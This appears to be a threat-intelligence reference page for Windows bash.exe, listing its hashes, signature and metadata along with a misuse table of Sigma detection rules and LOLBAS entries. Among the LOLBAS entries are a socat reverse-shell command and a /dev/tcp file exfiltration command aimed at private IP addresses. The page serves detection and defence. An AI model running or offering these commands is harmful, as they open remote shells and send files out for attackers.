bash.exe

File Path: C:\Windows\system32\bash.exe
Description: Microsoft Bash Launcher

Hashes

Type	Hash
MD5	`FB0A628075D0396D905BD689F5C08D5E`
SHA1	`5E4EF17328EC5C939F3E6A0DAD0B23432CFD61DB`
SHA256	`E7FD310E7E8677A8C497EFADD42F2CA67D868CAD07E569E8092B1A1FBA17EC99`
SHA384	`3A32401A8F9293B3B73812DCAC825065D54418300BCBCAEAE0FC9EBC7BA283F775C69577F47B7F8F2673F6F58FCDF68E`
SHA512	`5B9273188C9D635410AEC98E1175DBED1D5A4B8BD91C50CBE02C79B3C249E1630B5091187D2DC15FD964BA8868BC4A2FFB36FA7D71C2F2A004551CCBC2E9F135`
SSDEEP	`6144:HzOZYndZkEXDvoc9qQEbjjOF59xXpJ2CnD8SWLWY:6ZYdZRXDvCQmjcFdD8S`

Runtime Data

Usage (stdout):

Windows Subsystem for Linux has no installed distributions.
Distributions can be installed by visiting the Microsoft Store:
https://aka.ms/wslstore

Signature

Status: Signature verified.
Serial: 3300000266BD1580EFA75CD6D3000000000266
Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

Original Filename: Bash.exe.mui
Product Name: Microsoft Windows Operating System
Company Name: Microsoft Corporation
File Version: 10.0.17763.1 (WinBuild.160101.0800)
Product Version: 10.0.17763.1
Language: English (United States)

Possible Misuse

The following table contains possible examples of bash.exe being misused. While bash.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source	Source File	Example	License
sigma	sysmon_suspicious_remote_thread.yml	`- '\bash.exe'`	DRL 1.0
sigma	file_event_win_win_shell_write_susp_directory.yml	`- '\bash.exe'`	DRL 1.0
sigma	image_load_suspicious_dbghelp_dbgcore_load.yml	`- '\bash.exe'`	DRL 1.0
sigma	proc_creation_win_lobas_bash.yml	`- bash.exe`	DRL 1.0
sigma	proc_creation_win_mmc_spawn_shell.yml	`- '\bash.exe'`	DRL 1.0
sigma	proc_creation_win_mshta_spawn_shell.yml	`- '\bash.exe'`	DRL 1.0
sigma	proc_creation_win_office_shell.yml	`- '\bash.exe'`	DRL 1.0
sigma	proc_creation_win_outlook_shell.yml	`- '\bash.exe'`	DRL 1.0
sigma	proc_creation_win_susp_servu_process_pattern.yml	`- '\bash.exe'`	DRL 1.0
sigma	proc_creation_win_susp_shell_spawn_by_java.yml	`- '\bash.exe'`	DRL 1.0
sigma	proc_creation_win_susp_shell_spawn_by_java_keytool.yml	`- '\bash.exe'`	DRL 1.0
sigma	proc_creation_win_susp_shell_spawn_from_mssql.yml	`- '\bash.exe'`	DRL 1.0
sigma	proc_creation_win_susp_shell_spawn_from_winrm.yml	`- '*\bash.exe'`	DRL 1.0
sigma	proc_creation_win_webshell_spawn.yml	`- '\bash.exe'`	DRL 1.0
LOLBAS	Bash.yml	`Name: Bash.exe`
LOLBAS	Bash.yml	`- Command: bash.exe -c calc.exe`
LOLBAS	Bash.yml	`Description: Executes calc.exe from bash.exe`
LOLBAS	Bash.yml	`- Command: bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"`
LOLBAS	Bash.yml	`- Command: bash.exe -c 'cat file_to_exfil.zip > /dev/tcp/192.168.1.10/24'`
LOLBAS	Bash.yml	`- Path: C:\Windows\System32\bash.exe`
LOLBAS	Bash.yml	`- Path: C:\Windows\SysWOW64\bash.exe`
LOLBAS	Bash.yml	`- IOC: Child process from bash.exe`